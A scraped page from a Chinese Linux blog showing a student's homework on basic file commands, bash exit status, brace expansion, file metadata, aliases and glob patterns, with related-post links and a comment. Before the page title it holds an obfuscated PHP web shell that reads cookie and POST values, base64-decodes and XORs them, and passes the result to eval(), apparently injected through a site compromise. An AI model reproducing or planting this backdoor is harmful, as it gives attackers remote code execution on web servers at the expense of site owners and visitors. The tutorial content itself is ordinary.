$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Net25 第二周作业 | Linux运维部落

Net25 第二周作业

一、Linux上的文件管理类命令,其常用的使用方法和相关示例

1、ls:查看文件与目录

作用:ls命令用于显示目录内容,类似于DOS下的dir命令,它的使用权限是所有用户。

用法:ls [选项]…[文件]…

主要选项如下:

-a:全部的文件,连同隐藏文件(开头为 .的文件)一起列出来

-A:列出全部的文件(连同隐藏文件,但不包括...这两个目录)

-d:仅列出目录本身,而不是列出目录内的文件数据

-f:直接列出结果,而不进行排序

-F:根据文件、目录等信息给予附加数据结构,例如:*:代表可执行文件;   /:代表目录;  =:代表socket文件;  |:代表FIFO文件

-h:将文件容量以人类较易读的方式列出来

-i:–inode,显示每个文件的inode号

-l:使用较长格式列出信息,包含文件的属性与权限等数据

-n:–numeric-uid-gid,类似-l,但列出UID与GID,而非用户与用户组的名称

-r:–reverse,逆序排列,将排序结果反向输出

-R:–recursive,递归显示子目录

-S:根据文件大小排序

-t:根据时间排序,而不是文件名

示例:

[root@localhost ~]# ls -al       #列出用户所在主目录下的所有文件与目录

total 36

dr-xr-x—.  2 root root 4096 Dec  8 19:03 .

dr-xr-xr-x. 17 root root 4096 Dec  8 18:58 ..

-rw——-.  1 root root 1186 Dec  8 18:58 anaconda-ks.cfg

-rw——-.  1 root root  152 Dec  8 19:50 .bash_history

-rw-r–r–.  1 root root   18 Dec 28  2013 .bash_logout

-rw-r–r–.  1 root root  176 Dec 28  2013 .bash_profile

-rw-r–r–.  1 root root  176 Dec 28  2013 .bashrc

-rw-r–r–.  1 root root  100 Dec 28  2013 .cshrc

-rw-r–r–.  1 root root  129 Dec 28  2013 .tcshrc

[root@localhost ~]# ls -alt           #列出用户所在主目录下的所有文件按时间排序

total 36

-rw——-.  1 root root  152 Dec  8 19:50 .bash_history

dr-xr-x—.  2 root root 4096 Dec  8 19:03 .

-rw——-.  1 root root 1186 Dec  8 18:58 anaconda-ks.cfg

dr-xr-xr-x. 17 root root 4096 Dec  8 18:58 ..

-rw-r–r–.  1 root root   18 Dec 28  2013 .bash_logout

-rw-r–r–.  1 root root  176 Dec 28  2013 .bash_profile

-rw-r–r–.  1 root root  176 Dec 28  2013 .bashrc

-rw-r–r–.  1 root root  100 Dec 28  2013 .cshrc

-rw-r–r–.  1 root root  129 Dec 28  2013 .tcshrc


2、cat:显示文本文件内容

作用:将[文件]或标准输入组合输出到标准输出。

用法:cat  [选项]  [文件]…

主要选项如下:

-A:–show-all,相当于-vET的整合参数,可列出一些特殊字符,而不是空白

-b:–number-nonblank,列出行号,仅针对非空白行做行号显示,空白行不标行号

-E:–show-ends,在每行结束处显示”$“

-n:–number,对输出所有行编号

-T:–show-tabs,将TAB按键以“^I”显示出来

-v:–show-nonprinting,使用“^”和“M-”引用,除LFD和TAB之外

示例:

[root@localhost ~]# cat /etc/issue           #查看/etc/issue这个文件的内容

\S

Kernel \r on an \m

[root@localhost ~]# cat -n /etc/issue       #加印行号查看/etc/issue这个文件的内容

     1 \S

     2 Kernel \r on an \m

     3

[root@jl ~]# cat -A /etc/issue                    #将/etc/issue这个文件的内容完整显示出来(包含特殊字母)

CentOS release 6.5 (Final)$

Kernel \r on an \m$

$

3、cp:复制文件

作用:文件或目录的复制

用法:cp   [选项]…   [-T]   源文件   目标文件

           cp   [选项]…  源文件…    目录

           cp   [选项]…  -t    目录    源文件…

将<源文件>文件复制至<目标文件>, 或将多个<源>复制至<目录>

主要选项如下:

-a:等同于-dpR参数一起使用,在复制过程中尽可能保留源文件或目录的属性

-d:若源文件为连接文件的属性(link file),则复制连接文件属性而非文件本身

-f:为强制(force)的意思,若目标文件已经存在且无法开启,则删除后再尝试一次

-i:若目标文件(destination)已经存在时,在覆盖时会先询问操作的进行

-l:进行硬链接(hard link)的连接文件创建,而非复制文件本身

-p:连同文件的属性一起复制,而非使用默认属性(备份常用)

-r:递归持续复制,用于目录的复制行为(常用)

-s:复制成为符号链接文件(symbolic link),即”快捷方式“文件

示例:

[root@jl ~]# cp ~/install.log /home/jl/xxx       #将~目录下的install.log文件复制到/home/jl下并更名为xxx文件                                                 

[root@jl ~]# ls /home/jl                                  #查看结果

Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos  xxx

[root@jl ~]# cd /home/jl                                 #切换目录至/jl

[root@jl jl]# cp ~/install.log .                          #将~目录下的install.log文件复制到/jl目录下

[root@jl jl]# ls                                                #查看结果

Desktop    Downloads    Music     Public     Videos

Documents  install.log  Pictures  Templates  xxx

4、rm:删除文件

作用:删除指定的文件

用法:rm  [选项]…文件…

主要选项如下:

-f:–force,强制删除,忽略不存在的文件,不提示确认

-i:互动模式,在删除前需要用户确认

-r:-R,–recursive,递归删除目录及内容

示例:

[root@jl jl]# rm -i install.log           #删除目录/jl下的install.log文件

rm: remove regular file `install.log'? y     #是否删除

[root@jl jl]# ls          #查看是否已删除install.log

Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos  xxx

[root@jl jl]# touch ./-a-      #创建一个-a-的空文件

[root@jl jl]# ls                    

-a-  Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos  xxx        #  -a-空文件创建成功

[root@jl jl]# rm -a-            #删除-a-的空文件,提示无法删除,因为“-”是参数,系统误判

rm: invalid option — 'a'

Try `rm ./-a-' to remove the file `-a-'.

Try `rm –help' for more information.

[root@jl jl]# rm ./-a-          #通过在./-a-的形式可以正常删除

rm: remove regular empty file `./-a-'? y

[root@jl jl]# ls

Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos  xxx

5、mv:移动或更改文件名

作用:mv可以将源文件重命名为目标文件,或将源文件移动至指定目录

用法:mv  [选项]…   [-T]   源文件   目标文件

           mv  [选项]…  源文件…    目录

           mv  [选项]…  -t    目录    源文件..

主要选项如下:

-f:–force强制的意思,如果目标文件已经存在,不会询问而直接覆盖

-i:–interactive,若目标文件已经存在,就会询问是否覆盖

-u:–update,若源文件比目标文件新,或目标文件不存在时才进行移动或更新

示例:

[root@jl jl]# mv xxx Public          #将/home/jl下的xxx文件移动到/home/jl/Public目录下

[root@jl jl]# ls Public                   #查看是否完成上述操作

xxx

[root@jl jl]# cd Public 

[root@jl Public]# ls

xxx

[root@jl Public]# mv xxx yyy      #将xxx文件改名为yyy文件

[root@jl Public]# ls

yyy

6、tac:和cat用法一样,只是将cat显示内容由最后一行到第一行反向在屏幕上显示出来

示例:

[root@localhost ~]# cat /etc/issue           #用cat查看/etc/issue这个文件的内容

\S

Kernel \r on an \m

[root@jl Public]# tac /etc/issue                #用tac查看/etc/issue的结果

Kernel \r on an \m

CentOS release 6.5 (Final)

7、file:查看文件类型

作用:通过探测文件内容来判断文件类型

用法:file  [选项]文件名

示例:

[root@jl Public]# file yyy           #查看yyy文件的类型

yyy: ASCII text                         #yyy:是纯文本文件

8、echo:显示文本

作用:显示文本内容

用法:echo  [-neE]  [字符串]

主要选项如下:

-n:不输出行尾的换行符

-E:禁止对在STRINGs中的那些序列进行解释

-e:允许对加反斜线转义的字符进行解释

       \n:换行且光标移至行首

       \t:插入TAB字符

二、bash的工作特性命令执行状态返回值和命令行展开所涉及的内容及示例

1、命令执行状态返回值:返回值用于判断命令执行正确与否

      成功:0

      失败:1-255之间的数字

示例:

[root@jl ~]# ls

anaconda-ks.cfg  install.log  install.log.syslog

[root@jl ~]# echo $?

0

[root@jl ~]# lsl

-bash: lsl: command not found

[root@jl ~]# echo $?

127

2、命令行展开

以bash能够解释的符号来代替命令中的一些重复字段,一定要用{}引起来。

示例:

[root@jl Public]# touch aa,bb,cc,dd   #错误的展开方式

[root@jl Public]# ls

aa,bb,cc,dd  yyy

[root@jl Public]# touch {aa,bb,cc,dd}  #正确的展开方式

[root@jl Public]# ls  

aa  aa,bb,cc,dd  bb  cc  dd  yyy

三、请使用命令行展开功能完成以下练习

1、创建/tmp目录下的:a_c,a_d,b_c,b_d

示例:

[root@jl tmp]# mkdir -p {a_{c,d},b_{c,d}}        #创建题目所示目录

[root@jl tmp]# ls

{ab}_{cd}  a_d  b_d    orbit-gdm           pulse-mVv73u248BxO

a_c        b_c  mkdir  pulse-1WkG75eehMWV  yum.log


2、创建/tmp目录下的子目录

Net25 第二周作业

示例:

[root@jl var]# mkdir -pv mylinux/{bin,boot/grub,dev,etc/{rc.d/init.d,sysconfig/network-scripts},lib/modules,lib64,proc,sbin,sys,tmp,usr/local/{bin,sbin},var/{lock,log,run}}

mkdir: created directory `mylinux'

mkdir: created directory `mylinux/bin'

mkdir: created directory `mylinux/boot'

mkdir: created directory `mylinux/boot/grub'

mkdir: created directory `mylinux/dev'

mkdir: created directory `mylinux/etc'

mkdir: created directory `mylinux/etc/rc.d'

mkdir: created directory `mylinux/etc/rc.d/init.d'

mkdir: created directory `mylinux/etc/sysconfig'

mkdir: created directory `mylinux/etc/sysconfig/network-scripts'

mkdir: created directory `mylinux/lib'

mkdir: created directory `mylinux/lib/modules'

mkdir: created directory `mylinux/lib64'

mkdir: created directory `mylinux/proc'

mkdir: created directory `mylinux/sbin'

mkdir: created directory `mylinux/sys'

mkdir: created directory `mylinux/tmp'

mkdir: created directory `mylinux/usr'

mkdir: created directory `mylinux/usr/local'

mkdir: created directory `mylinux/usr/local/bin'

mkdir: created directory `mylinux/usr/local/sbin'

mkdir: created directory `mylinux/var'

mkdir: created directory `mylinux/var/lock'

mkdir: created directory `mylinux/var/log'

mkdir: created directory `mylinux/var/run'

四、文件的元数据信息有哪些,分别表示什么含义,如何查看?如何修改文件的   时间戳信息

在Linux文件管理中,文件除了自身数据之外,还有附属信息,即文件的元数据;这个元数据用于记录文件的许多信息,比如文件大小,属主,属组,修改日期等等。元数据并不包含在文件数据中,由系统维护,也就是包含在inode中。每个inode有一个唯一的整数编号表示(inode number)。

查看文件元数据信息:ls -l,stat

示例:

[root@jl var]# stat /mylinux

  File: `/mylinux'

  Size: 4096       Blocks: 8          IO Block: 4096   directory

Device: 802h/2050d Inode: 521573      Links: 14

Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)

Access: 2016-12-11 11:50:39.155526394 -0500

Modify: 2016-12-11 11:49:08.483526598 -0500

Change: 2016-12-11 11:49:08.483526598 -0500

[root@jl var]# ls -l /mylinux

total 48

drwxr-xr-x. 2 root root 4096 Dec 11 11:49 bin

drwxr-xr-x. 3 root root 4096 Dec 11 11:49 boot

drwxr-xr-x. 2 root root 4096 Dec 11 11:49 dev

drwxr-xr-x. 4 root root 4096 Dec 11 11:49 etc

drwxr-xr-x. 3 root root 4096 Dec 11 11:49 lib

drwxr-xr-x. 2 root root 4096 Dec 11 11:49 lib64

drwxr-xr-x. 2 root root 4096 Dec 11 11:49 proc

drwxr-xr-x. 2 root root 4096 Dec 11 11:49 sbin

drwxr-xr-x. 2 root root 4096 Dec 11 11:49 sys

drwxr-xr-x. 2 root root 4096 Dec 11 11:49 tmp

drwxr-xr-x. 3 root root 4096 Dec 11 11:49 usr

drwxr-xr-x. 5 root root 4096 Dec 11 11:49 var

修改文件的时间戳:

[root@jl ~]# touch [-acdmt] 文件

参数:

-a : 仅修改access time。

-c : 仅修改时间,而不建立文件。

-d : 后面可以接日期,也可以使用 –date="日期或时间"

-m : 仅修改mtime。

-t : 后面可以接时间,格式为 [YYMMDDhhmm]

五、如何定义一个命令的别名,如何在命令中引用另一个命令的执行结果?

 

指令:alias

设置指令的别名

语法:#  alias name='command line'

参数:-p:    打印出现有的别名(唯一的参数)

若不加任何参数,则列出目前所有的别名设置

用法:# alias cp='cp -i'或alias l='ll'

这样就可以用cp来代替cp -i,而且cp -i这条命令依旧有效

 查看alias:

列出目前所有的别名设置。

# alias    或    # alias -p

查看具体一条指令的别名

# alias cp

别名永久化:

alias的作用仅在该次登入的操作,即输入一次alias后,这个修改只在当前的Shell生效。如果重新开启一个 Shell,或者重新登录,则这些alias将无法使用。好在linux中提供alias永久化的方法:

<1>.若要每次登入就自动生效别名,则把别名加在/etc/profile或~/.bashrc中。然后# source ~/.bashrc

<2>.若要让每一位用户都生效别名,则把别名加在/etc/bashrc最后面,然后# source /etc/bashrc

重新设置别名:

alias重置的方法与第一次设置的时候一样

# alias cp='cp -i'

删除别名:

格式:unalias name

#  unalias cp

如何在命令中引用另一个命令的执行结果

命令是ficonfig eth0,变量是ip,则:

#!/bin/bash

ip=`ifconfig eth0`

echo $ip

这样就把命令生成的字符串赋值给ip了,echo $ip,看到的就是命令执行的结果

 

六、显示/var目录下所有以l开头,以一个小写字母结尾,中间出现至少一位数字(可以有其他字符)的文件或目录

# ls –d /var/l*[0-9]*[[:lower:]]

七、显示/etc目录下,以任意一个数字开头,且以非数字结尾的文件或目录

# ls –d /etc/[0-9]*[^0-9]

八、显示/etc目录下,以非字母开头,后面跟了一个字母以及其他任意长度任意字符的文件或目录

# ls –d /etc/[^[:alpha:]][[:alpha:]]*

九、在/tmp目录下创建以tfile开头,后跟当前日期和时间的文件,文件名形如:tfile-2016-05-27-09-32-22

touch /tmp/tfile-$(date +"%F-%H-%M-%S")

 

十、复制/etc目录下所有以p开头,以非数字结尾的文件或目录到/tmp/mytest1目录中

cp -r /etc/p*[^0-9] /tmp/mytest1/

 

十一、复制/etc目录下所有以.d结尾的文件或目录至/tmp/mytest2目录中

cp -r /etc/*.d /tmp/mytest2/

 

十二、复制/etc/目录下所有以l或m或n开头,以.conf结尾的文件至/tmp/mytest3目录中 

cp -r /etc/[lmn]*.conf /tmp/mytest3/


   


原创文章,作者:jindizang,如若转载,请注明出处:http://www.178linux.com/63234

(0)
上一篇 2016-12-11 17:25
下一篇 2016-12-11 17:30

相关推荐

  • 【福利招聘】 Base 上海 拍拍货(红杉领投,靠谱金融公司) 共5人

    公司简介 拍拍贷成立于2007年6月,全称为“上海拍拍贷金融信息服务有限公司”,总部位于国际金融中心上海,是中国首批网络信息借贷平台。 拍拍贷是一家由工商部门特批,获批“金融信息服务”的经营范围,得到政府认可的互联网金融平台。拍拍贷用先进的理念和创新的技术建立一个安全、高效、透明的互联网金融平台,规范个人贷款行为,让借入这改善生产生活,让借出者增加投资渠道。…

    Linux干货 2016-12-05
  • 更改CentOS7 默认网卡eno16777736为eth0

        安装完CentOS7,它的默认网卡名为eno16777736 看着不爽!习惯了eth0的命名方式。 编辑 /etc/sysconfig/grub 在“GRUB_CMDLINE_LINUX”里添加net.ifnames=0 biosdevname=0 保存退出 如图: 然后执行 grub2-mkconfig -o…

    系统运维 2015-12-19
  • day7作业练习

    1、显示当前系统root、mage或wang用户的UID和默认shell  2、找出/etc/rc.d/init.d/functions文件中行首为某单词(包 括下划线)后面跟一个小括号的行  3、使用egrep取出/etc/rc.d/init.d/functions中其基名     v …

    系统运维 2016-08-08
  • 谁说C语言很简单?

    前两天,Neo写了一篇《语言的歧义》其使用C语言讨论了一些语言的歧义。大家应该也顺便了解了一下C语言中的很多不可思异的东西,可能也是你从未注意到的东西。 是的,C语言并不简单,让我们来看看下面这些示例: 为什么下面的代码会返回0?(这题应该很简单吧) int x;   return x == (1&…

    Linux干货 2016-03-20
  • RHEL6.4 yum访问HTTPS源时出错

    在RHEL6.4上安装OpenStack时,使用epel的源,但源是https的,进行安装时,总报下面的错误。     https://repos.fedorapeople.org/repos/openstack/openstack-icehouse/epel-6/repodata/repomd.xml:  …

    Linux干货 2016-02-28
  • vim、crontab、bash for循环练习

    1、复制/etc/rc.d/init.d/functions文件至/tmp目录,将/tmp/functions文件中的以至少一个空白字符开头的行的行首加#。 vim中支持全文查找替换功能且在查找时支持正则表达式,在替换时进行引用。先使用vim /tmp/functions,然后在vim编辑模式中输入:%s/\(^[[:space:]]\+\)/#\1/g再回…

    系统运维 2016-12-03

评论列表(1条)

  • 马哥教育
    马哥教育 2016-12-16 17:04

    赞~写的不错~~排版上能注意下会更好~